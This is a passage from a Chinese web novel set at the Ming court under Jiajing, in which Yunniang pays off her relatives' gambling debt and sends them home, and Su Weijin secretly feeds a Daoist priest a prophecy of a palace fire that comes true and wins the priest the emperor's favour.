芸娘示意秋月打开店门。
门一开,陈老四和陈大牛如同见到救星,连滚爬爬地扑了进来,抱住芸娘的腿就开始嚎啕:
“芸娘!侄女!救命啊!只有你能救我们了!”
“那赌坊的人要杀了我们!要二百两银子啊!不然就送官**!”
王氏也闻声从杂物房跑出来,看到丈夫和公公的惨状,也跟着哭天抢地。
芸娘任由他们哭嚎,身形纹丝不动,
目光平静地扫过他们涕泪交加的丑态,
直到他们声音渐歇,才缓缓开口,声音清冷,胜如碎玉投盘:
“哭够了?”
三个字,带着一股无形的压力,让陈老四等人的哭嚎戛然而止,只剩下压抑的抽噎。
“四叔,大牛哥,”
芸娘目光落在他们身上,语气依旧平静,却字字清晰,敲打在人心上。
“你们在沐阳老家如何行事,我管不着,也懒得管。
但既然到了京城,到了我爹娘这里,就得守我的规矩。”
她顿了顿,看着他们瞬间变得惨白的脸,继续道:
“念在终究是同宗亲戚的份上,你们惹下的这桩祸事,我替你们平了。”
她侧头对秋月微微颔首。
秋月会意,从随身带来的一个锦袋里取出两张百两的银票,
交给门外候着的一个看似普通家丁、实则眼神精悍的汉子(周大山安排的人),低声吩咐了几句。
那汉子接过银票,转身快步离去,方向正是那“如意坊”。
陈老四几人目瞪口呆地看着这一幕,简直不敢相信自己的耳朵。
二百两!
她就这么轻描淡写地拿出来了?
连眉毛都没皱一下!
巨大的惊喜和劫后余生的庆幸还没持续片刻,
芸娘接下来的话,却让他们如似被兜头浇了一盆冰水。
“赌债,我还了。”
芸娘语气转冷,目光锐利如刀。
“明日一早,我会派人送你们回沐阳老家。”
“啊?回…回老家?”
陈大牛失声叫道,王氏也傻了眼。
他们才刚见识了京城的繁华,哪里甘心回去?
芸娘却不理会他们的反应,
从秋月手中又接过一个稍小的布包,
放在桌上,发出沉甸甸的声响。
“这里是二十两银子。”
二十两!
陈老四的呼吸又急促起来,眼睛死死盯着那布包。
“拿回去,在沐阳置办几亩薄田,或是做点小本生意。”
芸娘的声音带着一种居高临下的安排。
“安分守己,足够你们度日,甚至比大多数乡邻过得都好。”
她上前一步,目光依次扫过陈老四、陈大牛和王氏,那眼神不再温婉,而是带着一种他们从未见过的冷冽与威严:
“这笔钱,是看在同宗血脉,给你们留的活路,也是安家费。”
“但,话我说在前头。”
“若你们拿了钱,仍不安分,还敢再来京城生事……”
“或者,在外头,借着由头,败坏我苏家,乃至我爹娘的名声……”
芸娘语气一顿,眼神骤然冰寒,仿佛能冻结空气。
“下一次,去找你们谈的,就不是我陈芸娘了。”
“而是顺天府的衙役,带着锁链和刑具,跟你们好好‘谈谈’大明朝的律法!”
“顺天府衙役”、“锁链刑具”、“律法”这几个字,
宛如重锤,狠狠砸在陈老四三人心上。
他们瞬间想起了前几日“官差”盘查的恐惧,
想起了“邻居”口中苏状元处置亲族的“铁腕”,
再结合今日芸娘这恩威并施、不容置疑的手段,哪里还有半分侥幸?
他们毫不怀疑,若是再敢触犯,眼前这个看似柔弱的状元夫人,绝对说到做到!
“不敢了!再也不敢了!”
陈老四第一个反应过来,磕头如捣蒜,额头撞在地板上砰砰作响。
“芸娘…不,夫人!夫**恩大德!
我们回去一定安分守己,绝不再来叨扰!
绝不敢
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坏苏家和大哥的名声!”
陈大牛和王氏也吓得魂不附体,跟着拼命磕头保证。
看着他们这副卑躬屈膝、前倨后恭的丑态,
芸娘心中并无多少快意,只有一种尘埃落定的疲惫与冷然。
“记住你们今天说的话。”
她最后丢下一句,不再多看他们一眼,
转身便向后院走去,裙裾拂过门槛,不留一丝涟漪。
秋月上前,冷冷地对还跪在地上的三人道:
“收拾东西吧,明日一早,马车会准时在巷口等你们。”
说完,也跟着芸娘离开,并顺手关上了通往后院的门。
店铺里,只剩下失魂落魄、如同抽去了骨头的陈老四三人,以及桌上那包沉甸甸、却如同烙铁般烫手的银子。
后院,陈伯康和陈氏听着前面的动静,面面相觑,既觉解气,又有些恍惚。
他们那个需要人呵护的女儿,何时有了这般雷霆手段?
芸娘走到父母面前,脸上的冷冽已然褪去,恢复了平日的温婉:
“爹,娘,没事了。
他们明日就走,以后不会再来了。”
陈伯康看着女儿,嘴唇动了动,最终只化作一声复杂的叹息:
“芸娘,你…你长大了。”
陈氏则拉着女儿的手,眼圈微红:“苦了你了,孩子。”
芸娘摇摇头,微微一笑。
她并不觉得苦,反而有一种挣脱了某种束缚的轻松。
她知道,这一切能如此顺利,离不开沈姐姐的妙计,文萱妹妹的补漏,雪茹妹妹的配合。
她们这个“智囊团”,初次联手处理外务,便大获全胜。
消息传回苏府,沈香君捻着沉香珠串,莞尔一笑;
赵文萱放下手中的书卷,微微颔首;
王雪茹则直接拍案叫好:
“姐姐干得漂亮!”
前院书房,苏惟瑾听完周大山的详细禀报,嘴角勾起一抹意味深长的弧度。
他的芸娘,和他的“后宫”智囊团,
倒是给了他一个不小的惊喜。
这份处理事情的手腕,恩威并施,干净利落,既解决了麻烦,又未留污名,
甚至还稍稍展示了仁义,可谓滴水不漏。
“看来,日后一些不大不小的麻烦,倒可以放手让她们去练练手了。”
苏惟瑾心情颇佳地想道。
然而,他超频大脑的深处,却闪过一丝疑虑。
陈老四这等小丑固然不足为虑,
但他们没有路引还如此精准地找到京城,
找到陈氏书坊,背后是否真的全无蹊跷?
这看似圆满解决的家事,是真正的结束,还是另一场风波的序曲?
第242章 家宅终安宁,芸娘感佩
次日清晨,一辆灰扑扑的骡车悄无声息地停在锣鼓巷口。
陈老四、陈大牛和王氏三人,
如同三只被抽了魂的鹌鹑,
抱着那个装着二十两银子的沉重布包,
在周大山安排的两名精干家丁“护送”下,灰头土脸地爬上了车。
没有告别,没有回头,甚至不敢多看那渐渐远去的陈氏书坊一眼。
京城这趟繁华梦,最终以一场惊吓和二十两“安家费”告终,也不知他们是觉得亏了还是赚了。
骡车辘辘,驶出城门,消失在官道的尘土里。
锣鼓巷陈氏书坊,终于恢复了往日的宁静。
书架上的尘埃被重新拂去,冷清了几日的店面,渐渐又有了熟客登门。
陈伯康坐在柜台后,拨弄着算盘,
听着那熟悉的噼啪声,紧锁多日的眉头终于舒展开来。
陈氏在後院浆洗衣物,嘴里不自觉地哼起了沭阳老家的小调,
阳光洒在晾晒的衣物上,透着股暖融融的安稳。
风波平息后,芸娘特意在苏府设了一场小宴,只请了赵文萱、王雪茹和沈香君三人。
宴设在后园一处临水的小轩,
时值暮春,轩外几株晚樱开得正好,
粉白的花瓣随风飘落,洒在潺潺的溪流上。
轩内布置得雅致而不奢靡,一张梨花木圆桌,几样时令小菜并一壶新酿的梅子酒。
芸娘亲自执壶,为三位姐妹斟酒。
她今日穿了一身藕荷色的素面杭绸褙子,
发间只簪一朵新鲜的玉兰花,
气质温婉中透着一股历经事情后的沉静。
她举起酒杯,目光诚挚地看向三人:
“文萱妹妹,雪茹妹妹,香君姐姐,”
她声音柔和,带着显而易见的感激。
“此次娘家之事,多亏了三位姐妹鼎力相助,方能如此顺利解决。
若非姐妹们出谋划策,运筹帷幄,
只怕我现在还在为此事焦头烂额,
甚至可能连累夫君名声。
芸娘在此,敬三位妹妹一杯,聊表谢意!”
说罢,她将杯中清甜的梅子酒一饮而尽。
赵文萱今日穿着一身淡青色素纹襦裙,更显清雅。
她端起酒杯,浅酌一口,微笑道:
“芸娘姐姐客气了。
姐妹之间,互相帮衬本是应当。
何况姐姐此次应对得体,恩威并施,方是解决问题的关键。
姐姐之能,文萱佩服。”
她这话并非全然客套,
经此一事,她是真心觉得芸娘这位“状元夫人”,内里自有乾坤,并非仅靠夫君荫庇。
王雪茹最是爽快,一口干了杯中酒,抹了抹嘴笑道:
“姐姐,你跟我们还客气啥!
看到那起子小人吃瘪,我就痛快!
以后再有这等不开眼的,姐姐你只管说话,
看我不收拾得他们服服帖帖!”
她看着芸娘,眼神里满是亲近和认同。
沈香君依旧是那副妩媚干练的模样,她把玩着手中的白瓷酒杯,眼波流转,笑道:
“姐妹们说得是。
一家人不说两家话。
夫人能当机立断,信任我等,才是最难能可贵的。
经此一事,咱们姐妹的情分,倒是更进了一层。”
她这话说得巧妙,既拉了关系,
又点明了此次合作带来的隐性收益
——她们这个小团体的凝聚力。
四人相视而笑,席间气氛融洽温馨。
往日因苏惟瑾而产生的那点微妙隔阂,
在共同“对敌”的过程中,似乎真的淡化了许多,
一种基于互相欣赏和利益协同的“姐妹情谊”悄然滋生、升温。
与此同时,礼部侍郎张璁府邸的书房内,气氛却截然相反。
张璁面色阴沉地听完一名心腹家人的禀报,
得知陈老四等人不仅没能给苏惟瑾带来任何实质麻烦,
反而被对方轻而易举、不着痕迹地“礼送”出京,
甚至还“仁义”地给了安家费,他胸口一股邪火猛地窜起。
“废物!一群成事不足败事有余的蠢货!”
他猛地一拍书案,震得案上的茶盏乱响。
“那钱梦皋也是无能!
找的都是些什么货色?
连点风浪都掀不起来,
就被人家后院几个妇人给收拾了!”
他原指望借着这些穷亲戚攀附的丑态,
好好做做文章,即便不能重伤苏惟瑾,
也能坏其名声,让清流一派对其产生嫌隙,
没想到对方处理得如此干净利落,反倒显得他这边手段下作且无能。
“苏惟瑾……还有他那个夫人……”
张璁眼神阴鸷,手指无意识地在案上敲击。
“倒是小瞧了他们。”
他这边兀自气闷,却不知,一张无形的网,正朝着他盟友的根基罩去。
苏府书房内,烛火通明。
苏惟瑾听完周大山关于陈家事后续以及张璁反应的密报,神色平静无波。
超频大脑早已将陈老四等人突兀出现的疑点,
与之前赵文萱信中提及的“钱给事中”
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联系了起来。
“果然是他。”
苏惟瑾轻声道,语气不带丝毫意外。
他并未动怒,甚至没有立刻在朝堂上反击的打算。
打草惊蛇,非智者所为。
他铺开一张信纸,提笔蘸墨,字迹沉稳有力。
这封信并非发往京城任何衙门,
而是径直发往沭阳老家,交给七叔公。
信中并无多少寒暄,只有清晰的指令:
“……前次嘱托搜集张承宗及附庸不法之事,想已齐备。
可暗中联络昔日受其压迫、夺其田产、逼其卖儿鬻女之苦主,
许以重见天日之诺,使其携确凿证据,齐聚县衙,
状告张承宗横行乡里、鱼肉百姓、侵吞田产、逼**命诸般恶行。
时机已至,当以雷霆之势,犁庭扫穴,
勿使此獠再有喘息之机。
沐阳,该换换风气了。”
他没有直接对付京城的钱梦皋或张璁,而是选择了釜底抽薪。
张承宗是张家在沐阳的根基,
也是钱梦皋等人试图用来攻讦他苏惟瑾的“素材”来源之一。
如今,他便将这“素材”连根拔起,看他们还拿什么来做文章!
此举既铲除了地方毒瘤,
安抚了乡里,又狠狠敲打了其在京城的靠山,
更向所有暗中窥伺之人传递了一个清晰的信号:
我苏惟瑾,并非只知圣贤书的迂腐书生,亦非心慈手软的滥好人。
犯我亲眷、扰我家宅者,虽远必究,
其倚仗之根基,我亦可挥手摧之!
“日后,凡此类不知进退、受人蛊惑之宵小,”
苏惟瑾放下笔,对肃立一旁的周大山淡然道。
“皆可参照此次处置。
内宅之事,夫人可决;
外间风雨,自有我来挡。”
周大山心神一凛,躬身应道:
“是,公子!”
他明白,公子这话,既是赋予夫人更大的权柄和信任,
也是宣告了一种新的处事原则
——恩威并施,内外分明,对家人庇护,对敌人狠厉。
家宅内,芸娘与姐妹们把酒言欢,情谊渐深;
朝堂外,一场针对地方豪强的清算悄然启动。
苏惟瑾坐镇中枢,执棋落子,看似波澜不惊,实则已定下乾坤。
然而,张璁在书房中的暴怒,
以及苏惟瑾这番凌厉的反击,
是否意味着双方矛盾的公开化和升级?
这场由后宅琐事引发的波澜,
最终会将多少朝堂人物卷入其中?
第243章 再预言火灾,鹤岑固圣心
嘉靖四年的春风,似乎比往年来得更料峭些。
吹过京城纵横交错的街巷,卷起权贵车马扬起的微尘,也拂动着市井百姓为生计奔波的衣角。
朝堂之上,表面是诡异的平静,
宛似结了薄冰的湖面,底下却暗流涌动,
各方势力都在小心翼翼地试探着彼此的底线。
苏府书房内,窗明几净。
苏惟瑾一身半旧的青色直裰,临窗而立,
目光看似落在庭院中那株初绽新芽的海棠上,
实则脑中正以超越时代的速度处理着海量信息。
超频大脑将朝局动向、各方反应、乃至市井流言一一归类、分析、推演。
“山雨欲来啊……”
他轻轻叩着窗棂,低声自语。
张璁**因前次陈家事的失利暂时蛰伏,
但这绝非罢休,更像是在积蓄力量,等待更致命的一击。
而清流内部,也并非铁板一块,各有各的算盘。
这种时候,一动不如一静?
不,静观其变只会错失良机。
年初定下的“固本培元,暗度陈仓”之策,正该稳步推进。
而巩固自身圣眷,借力打力,始终是破局的关键一环。
鹤岑道人这步棋,到了该再落一子的时候。
他转身回到书案前,铺开一张特制的、看似寻常的竹纸,取过一管小楷狼毫,蘸饱了墨,却悬腕未落。
脑中关于嘉靖朝宫廷火灾的记录被精准调取——嘉靖四年三月,仁寿宫灾。
时间,地点,事件,清晰无误。
但他不能写得太直白,而是运用暗语。
笔尖终于落下,字迹却非寻常楷书,
而是带着几分飘忽的道家符箓笔意,
内容更是隐晦,只寥寥数语,把出“离位”、“南阙”、“火德失序”、“三月初显”等玄乎其玄的字眼转化为暗语。
吹干墨迹,他唤来周大山。
“老规矩,送到白云观后角门,那个收夜香的哑仆。”
苏惟瑾声音平淡,将折叠好的纸条递过去。
“看着他亲自收进去再回来。”
“公子放心,万无一失。”
周大山接过,贴身藏好,憨厚的脸上此刻满是精明与可靠。
他如今表明是苏府的护卫头领,更是苏惟瑾手中那支隐形力量的实际协调人。
两日后,西苑,万法坛下。
鹤岑道人一袭玄色道袍,手持拂尘,仙风道骨之中,眉宇间却凝聚着一抹化不开的“忧色”。
他屏退左右小道童,对着高踞法坛之上、
正闭目存神的嘉靖皇帝,郑重其事地躬身一拜,
声音带着一丝恰到好处的沙哑与凝重:
“陛下,贫道连日夜观天象,见荧惑守心,光色渐赤,直犯紫微垣外藩。
又细推卦象,离宫之位隐有赤气升腾,
其形如幢幡,其势若奔马……此乃大不祥之兆啊!”
嘉靖帝缓缓睁开眼,
他近来正为边镇军饷和宫内用度捉襟见肘而心烦,闻言眉头微蹙:
“哦?**看出了什么?”
鹤岑道人上前一步,拂尘指向宫城南面方向,语气愈发沉痛:
“陛下,天象示警,恐在三月初,宫闱之南,将有回禄之灾(火灾的雅称)!
火起仓促,恐伤及殿宇,惊扰圣驾!
陛下乃万乘之尊,身系天下安危,万万不可等闲视之,
需早做防备,或可禳解一二,减轻灾厄!”
这一次的预言,比之前两次更加具体!
不仅点明了大致时间“三月初”,更指明了方位“宫闱之南”!
要知道,仁寿宫正在紫禁城的东南方位!
嘉靖帝的脸色瞬间变得严肃起来。
他笃信道教,对天人感应、灾异示警之说深信不疑。
前两次鹤岑的精准预言,已让他对此人建立了相当的信任。
此刻听闻宫中将有火灾,且时间地点如此明确,不由得他不重视。
“宫闱之南……仁寿宫?清宁宫?”
嘉靖帝喃喃自语,眼神锐利地扫过鹤岑。
“**可能确定?”
鹤岑垂下眼帘,一副高深莫测又心怀天下的模样:
“天机渺渺,贫道只能窥得这一线。
然火德失序,其兆已显,陛下宁可信其有,不可信其无。
当敕令内官监、兵马司等,于宫城南阙诸殿宇,
严查火烛,增备水缸、沙土,加派值守人手,或可……稍减其害。”
他话说得留有余地,既显示了能力,又撇清了万一不中的责任。
“朕知道了。”
嘉靖帝缓缓点头,脸上看不出喜怒,
但熟悉他性格的近侍都知道,皇帝此刻已然听进去了。
“有劳**了。”
“为陛下分忧,乃贫道本分。”
鹤岑躬身再拜,心中却是大定。
苏惟瑾传递来的信息,从未出过差错。
消息如同长了翅膀,很快便在特定的圈层里传开。
翰林院中,几位消息灵通的官员凑在一起低声议论。
“听说了吗?西苑那位鹤岑道长,又预言了!”
“这次是什么?还是边患?”
“非也非也,此次更玄乎,说是观天象看出宫里头三月初要走水(失火)!
还是南边的宫殿!”
“嘶……此言当真?这可不能胡说啊!”
“谁知道呢?不过陛下似乎颇为重视,已下令宫中严加防范了。”
“哼,装神弄鬼!”
一个不和谐的声音响起,正是张璁派系的一位翰林侍读,他语带讥讽。
“不过是撞准了一两次,便真当自己能窥测天机了?
宫禁重地,岂容方外之人妄加揣测?若是不准,看他如何收场!”
这话引来几声暧昧的附和,但也有人持不同看法:
“诶,话不能这么说,鹤岑**前两次所言,可是分毫不差。
况且,小心无大错,提前防备总是好的。”
而在张璁府邸的书房里,得到消息的张侍郎,则是冷哼一声,将手中的茶盏重重顿在桌上。
“妖道惑众!陛下就是太过仁厚,竟容此等人在御前胡言乱语!”
他对着心腹家人发泄着不满,眼神阴鸷。
“还有那苏惟瑾,据说与这道人来往甚密……哼,物以类聚!
且看三月初,若无火灾,看他如何自处!
届时,本官定要上书,参这妖道一个‘妖言惑众、搅乱宫闱’之罪!”
他仿似已经看到了鹤岑预言失败、苏惟瑾受到牵连的美妙场景,嘴角勾起一抹冷笑。
外间的纷扰议论,苏惟瑾恍若未闻。
他依旧每日准时到翰林院点卯,
埋首于浩如烟海的典籍文书之中,
偶尔与徐阶、唐
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顺之等同年探讨经义,
言谈举止,一如既往的沉稳谦和,让人挑不出半点错处。
俨然那宫闱可能的火灾,那朝堂暗涌的风波,都与他这个小小的翰林侍读毫无干系。
只有回到苏府书房,那超频大脑才真正展现出其统筹全局的恐怖算力。
“大山,香君那边情况如何?”
他一边翻阅着周大山递上来的各地产业简报,一边问道。
“回公子,‘苏香’露依旧是供不应求,
沈东家把控着流出,价格又往上抬了三成。
凝香烛也已打开了局面,不少大户人家开始定期采购。
板车行那边,按照您的吩咐,咱们的车队优先承接往来北直隶和山东的货物运输,尤其是粮食和布匹。”
周大山如数家珍。
“很好。”
苏惟瑾指尖在账册的一行数字上轻轻一点。
“告诉香君,将这三项产业近三成的利润,分批兑成金银,不必入库,直接用于购买我圈定的那些地方。”
他展开一张手绘的简易京畿地图,
上面用朱笔在几处看似荒凉的地方做了标记。
“昌平、密云这几处荒山,地势偏僻,土层之下……或有惊喜(指矿产资源)。
通州、武清这几片河滩淤地,价格低廉,排水尚可,可试种些特殊的作物(如棉花、药材)。
动作要隐秘,通过不同的中间人去办,地契分开存放。”
“是,公子。
沈东家已着手在办,用的都是可靠的生面孔,绝不会引人注意。”
周大山应道,心中对公子的深谋远虑佩服不已。
这些眼下看似无用的荒山滩涂,谁知道未来会变成怎样的聚宝盆?
“另外,”
苏惟瑾声音压低了几分。
“‘云裳阁’的分号,可以试着往宣府、大同,以及苏杭一带渗透了。
不求盈利,但要站稳脚跟,织起一张能听风辨向的网。
人手要精,规矩要严,保密为首要。
所有传递消息的渠道,必须单线联系,
启用新的密语和代号,绝不可与京中产业有任何明面上的瓜葛。
东厂和锦衣卫的鼻子,灵得很。”
他说得轻描淡写,周大山却听得心头一凛,郑重应下:
“明白!我会亲自挑选人手,进行特训,确保万无一失。”
商业的触角在无声无息间延伸,情报的网络在隐秘角落里织就。
苏惟瑾坐镇中枢,化身一个最高明的棋手,落子布局,看似散乱,实则每一招都指向未来。
然而,他这番隐秘的运作,真的能完全避开那些无孔不入的眼睛吗?
嘉靖帝对鹤岑的预言将信将疑,宫中已悄然加强戒备。
三月初,仁寿宫是否会如期燃起那场“注定”的大火?
若火起,鹤岑地位将稳如泰山,苏惟瑾圣眷更隆;
若火不起,张璁等人的攻讦必将如潮水般涌来……
窗外,暮色渐合,最后一缕天光被紫禁城巍峨的殿宇吞噬。
苏惟瑾吹熄了书案上的烛火,融入一片暗色之中,唯有那双眸子,在黑暗中闪烁着洞悉一切、掌控一切的冷静光芒。
风暴来临前的寂静,最是磨人。
而他,已做好了迎接一切的准备。
只是,那暗处窥伺的对手,下一步,又会将杀招指向何方?
第244章 火灾果应验,玄通成国师
嘉靖四年的三月初一,北京城到底还是没能彻底暖和起来。
早晚的寒风刮在脸上,依旧带着几分凛冽的刺骨。
紫禁城巍峨的宫墙内,气氛更是透着一种说不清道不明的紧绷。
自打西苑那位鹤岑**预言“宫闱之南,
三月初有回禄之灾”后,内官监、兵马司的人就忙得脚不沾地。
宫城南边仁寿宫、清宁宫一带,但凡是带顶的殿宇,甭管住没住人,角角落落都被翻了个底朝天。
油灯烛台一律换成最稳妥的,香炉熏笼有半点火星子嫌疑的都被请了出去,
殿宇四周更是密密麻麻摆满了大水缸、沙土堆,
值守的太监宫女轮班盯着,眼睛都不敢多眨一下。
这阵仗,惹得宫里宫外议论纷纷。
“瞧瞧,这阵势,至于么?
一个道士的胡话,也值得如此兴师动众?”
“嘿,你可别这么说,前头西北边关那事儿,不就让那位**说着了?”
“那是碰巧!宫里头走水(失火)的事儿,哪年没有一两回?
他蒙也能蒙个大概齐!”
“慎言,慎言!没见皇爷都信了么?”
朝堂之上,暗地里等着看笑话的,更是不在少数。
这一日,恰逢常朝。
百官序立,山呼万岁。
礼毕,几位大臣出班奏事,说的都是些钱粮赋税、河道漕运的老生常谈。
龙椅上的嘉靖帝听着,有些心不在焉,
手指无意识地在扶手上轻轻敲击,目光时不时瞟向殿外阴沉沉的天色。
眼看就要散朝,礼部都给事中钱梦皋忽然轻咳一声,手持玉笏,出班奏道:
“陛下,臣近日闻听,宫中因一道士之言,大肆更张旧制,增设防火之备,扰得宫人不安,内廷不宁。
臣以为,天象幽微,岂是凡俗可妄测?
若因虚妄之言而劳民伤财,恐非圣君所为。
且万一……届时并无灾异,岂非徒惹天下人笑话,有损陛下圣明?”
他这话说得含蓄,但意思再明白不过
——陛下您被那道士忽悠了,
这么折腾纯属瞎忙活,到时候屁事没有,看您怎么下台!
他这一出头,几个依附他的言官也立刻跟上,
你一言我一语,无非是“妖道惑众”、“虚耗国帑”、“有违祖制”云云。
一时间,朝堂之上,竟隐隐有对鹤岑群起而攻之的架势。
清流一派如费宏、石珤等人,
虽觉得钱梦皋等人言语过于尖刻,
但内心对那“火灾预言”也着实存着几分疑虑,此刻便都沉默不语,静观其变。
嘉靖帝的脸色沉了下来。
他本就笃信道教,前次边关预言应验更是让他对鹤岑信心倍增,此刻见钱梦皋,夏言等人公然质疑,心中已是不悦。
但他身为皇帝,也不好直接为一道士与臣子当庭争执,只是冷冷道:
“防患于未然,总非坏事。
此事朕自有主张,卿等不必多言。”
张璁**碰了个软钉子,心下更是冷笑连连,打定主意要看这出戏如何收场。
他甚至已经暗中授意几个御史,
准备好了**鹤岑“妖言耸听,搅乱宫闱”的奏章,
只等三月初五一过,若宫中平安无事,便立刻发难!
就在这满朝文武或期待、或担忧、或幸灾乐祸的复杂气氛中,三月初三,夜幕悄然降临。
这一夜,月黑风高。
到了后半夜,也不知是哪个环节终究出了纰漏,
或许是雷击(史载仁寿宫此次火灾原因之一),
或许是某个值守太监打了盹儿,灯烛倾覆……
总之,仁寿宫后殿一处堆放杂物的偏厦,毫无征兆地窜起了火苗!
初时只是几点火星,在干燥的夜风助长下,瞬间便成了燎原之势!
浓烟滚滚,火光冲天,映红了紫禁城南边的半边天!
“走水啦!仁寿宫走水啦!”
尖锐惶急的呼喊声,如同投入死水潭的巨石,瞬间打破了宫廷的寂静!
若是往常,这等突如其来的火灾,必定酿成大祸,不知要烧毁多少殿宇,伤及多少性命。
但这一次,情况截然不同!
几乎在火起的瞬间,早已枕戈待旦的内官监太监、巡守的禁卫兵马,
显然早就演练好了一般,从四面八方涌来!
水龙、水桶、沙土……所有提前备好的灭火器具被迅速启用,
无数人影在火光中穿梭奔走,泼水的泼水,扬沙的扬沙,拆隔断的拆隔断,阻止火势蔓延!
整个救火过程,虽场面混乱,却隐隐有条不紊,效率远超以往任何一次!
当嘉靖帝被匆忙唤醒,披衣登上宫城高处,眺望南边那冲天的火光时,他的脸色在火光照耀下变幻不定。
既有对火灾的惊怒,更有一种“果然如此”、“一切尽在掌握”的复杂情绪!
“陛下,火势已基本控制住了!
只烧毁了仁寿宫后殿两间偏厦,主殿无恙,也无人员伤亡!”
司礼监掌印太监鲍忠连滚带爬地跑来禀报,
声音里带着劫后余生的庆幸,更有着对皇帝“英明决策”的无限敬佩!
嘉靖帝长长舒了一口气,负手而立,夜风吹动他的袍袖,猎猎作响。
他望着那逐渐被压下的火光,眼中最后一丝疑虑彻底烟消云散,
取而代之的是一种近乎狂热的信赖。
“鹤岑**……真乃神人也!”
他喃喃自语,声音虽轻,却带着不容置疑的分量。
次日清晨,消息传出,朝野震动!
预言,再次应验了!时间、地点,分毫不差!
而且,正因为提前有了万全准备,
这场本该不小的火灾,竟只造成了微不足道的损失!
这一下,再无人敢质疑鹤岑**的“神通”!
先前那些准备看笑话、甚至磨刀霍霍准备**的官员,
此刻全都哑了火,一个个脸色精彩纷呈,如同吞了苍蝇般难受。
张璁在府中听到确切消息,气得当场砸碎了一个心爱的官窑茶盏,脸色铁青,半晌说不出话来。
他感觉自己脸上火辣辣的,分明被无形的手狠狠抽了一巴掌!
这鹤岑,这苏惟瑾……简直是他的克星!
西苑,万法坛。
嘉靖帝亲自驾临,不等鹤岑行礼,便快步上前,一把握住他的手臂,语气激动:
“**真乃朕之诸葛孔明,前知边事,今晓宫灾!
挽狂澜于既倒,保宫闱之平安!功莫大焉!”
鹤岑依旧
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是那副云淡风轻的模样,微微躬身:
“陛下过誉。
贫道不过偶得天机示警,全赖陛下洪福齐天,诚意感格上天,故能化险为夷。
此非贫道之功,实乃陛下之德。”
他越是谦逊,嘉靖帝就越是觉得他深不可测,品德高洁。
“**不必过谦!”
嘉靖帝大手一挥,意气风发,“传朕旨意!
加封鹤岑**为‘通玄辅教悟法高士’,总理天下道教事!
赐金印、紫衣、玉带,秩视二品!
嗯……日后,朕便以‘国师’相称!”
“国师”!
这两个字从皇帝口中说出,分量何其之重!
虽非正式官职,却代表着无与伦比的尊荣和近乎无限的信任!
其隐性的影响力,已远超许多阁部重臣!
消息传出,举世皆惊。
鹤岑,不,现在该称鹤岑国师了,
其地位瞬间达到了巅峰,
真正成为嘉靖朝前期道教势力中一颗无人能及的耀眼明星。
而此刻,苏府书房内。
苏惟瑾听着周大山兴奋地禀报着宫中的消息和皇帝的封赏,
脸上只是露出一丝淡淡的、一切尽在掌握的笑容。
他端起桌上的清茶,轻轻呷了一口。
“告诉鹤岑,‘国师’之名是荣耀,更是枷锁。
往后一言一行,更需如履薄冰。
尤其是邵元节那边,让他暂且避其锋芒,不必争一时长短。”
他放下茶盏,语气平静无波。
“是,公子!”
周大山如今对自家公子已是佩服得五体投地。
这条暗线,威力实在太惊人了!
公子虽未直接出面,但对皇权的影响力,
恐怕已超过了许多在朝堂上唾沫横飞的老大人!
苏惟瑾走到窗前,望着庭院中在春风里舒展新叶的草木。
超频大脑冷静地评估着当前的局面。
鹤岑地位的巩固,意味着他这条直达天听的隐秘渠道更加畅通无阻。
许多不方便自己亲自出面的事情,
如今都可以借这位“国师”之口,
以“天意”、“神谕”的方式,潜移默化地影响皇帝的决策。
这比在朝堂上与人争得面红耳赤,要高效得多,也安全得多。
然而,木秀于林,风必摧之。
鹤岑如今被捧得如此之高,
几乎成了活神仙,这固然是好事,
但也将他,以及与他隐秘关联的自己,彻底推到了风口浪尖。
邵元节等人的嫉恨只会与日俱增,张璁等政敌的审视也会更加严密。
“大山,”
苏惟瑾忽然开口,声音低沉。
“让我们的人,最近都收敛些。
所有与城外产业、各地分号的联系,再核查一遍,确保干净。
我有预感,很快会有人坐不住,要跳出来了。”
周大山神色一凛:
“公子是担心……邵**?还是张侍郎?”
苏惟瑾微微一笑,目光深邃:
“也许是他们,也许是……别的,藏在更深处的眼睛。
这京城的水,从来就没清过。”
他这看似轻描淡写的一句话,却让周大山后背莫名升起一股寒意。
公子这是……又预料到了什么?
第245章 东厂暗窥视,锦衣示善意
鹤岑**被嘉靖帝私下尊为“国师”的消息,
简直就像在滚沸的油锅里又泼进一瓢冷水,
瞬间在京城最顶层的圈子里炸开了花。
羡慕者有之,嫉妒者有之,更多的则是深深的忌惮。
一个方外之人,竟能简在帝心到如此地步,其影响力已不容任何人小觑。
而嗅觉敏锐如张璁、邵元节之流,
在最初的震惊和愤懑之后,那点不甘之心便赛过野草般疯长起来。
明着**不成,暗地里的手段便层出不穷。
西苑永寿宫的丹房里,香烟缭绕。
嘉靖帝盘坐在蒲团上,闭目听着邵元节讲解着一部新得的丹经。
邵**今日讲得格外卖力,引经据典,口若悬河,试图将皇帝的心神牢牢拴在这金丹大道之上。
待到一个段落讲完,嘉靖帝缓缓睁开眼,看似随意地问了一句:
“邵**,依你看来,鹤岑国师前番预言,果真全是仰仗天机,自身并无半点……嗯,其他手段么?”
邵元节心中一跳,知道机会来了。
他面上却不动声色,拂尘轻摆,做出一副公允姿态:
“陛下,天机玄妙,非我等凡人可以尽窥。
鹤岑道友能得天道垂青,屡献谶言,自是福缘深厚。然……”
他话锋微妙一转,语气带着几分恰到好处的忧虑。
“贫道只是担心,天道贵乎平衡,过度窥探,恐非载福之相。
且……京师人烟辐辏,龙蛇混杂,有些消息,
未必不能通过世俗途径获知,再加以……包装。
陛下圣心独断,还需明察秋毫才是。”
他这话说得滴水不漏,既没直接否定鹤岑,
却又在嘉靖帝那颗多疑的心里,埋下了一根小小的刺
——鹤岑的消息,会不会来自凡俗?
他是不是在利用信息差故弄玄虚?
几乎同时,张璁在几次单独奏对时,也“不经意”地提起:
“陛下,鹤岑国师自是世外高人。
然其久居京师,难免与各方有所接触。
臣只是忧心,恐有宵小之辈,假托国师之名,行营私舞弊、干预朝政之实,
玷污国师清誉,亦损害陛下圣明啊!”
这些看似关心、实则挑拨的话语,
似如细密的蛛丝,一点点缠绕在嘉靖帝的心头。
他对道教的信仰毋庸置疑,对鹤岑的能力此刻也深信不疑,但这并不妨碍他天性中的多疑开始发酵。
他享受“神谕”带来的掌控感,却极度厌恶被人暗中摆布、当成棋子的感觉。
于是,一道无声的指令从西苑发出。
东厂的番子们,瞬间变身嗅到血腥味的鬣狗,立刻加大了活动的频率和范围。
他们的目光,开始更多地投向那些与鹤岑可能产生关联的人和事。
而近期风头最劲、升迁最快、且与鹤岑几乎同时出现在皇帝视野中的苏惟瑾,
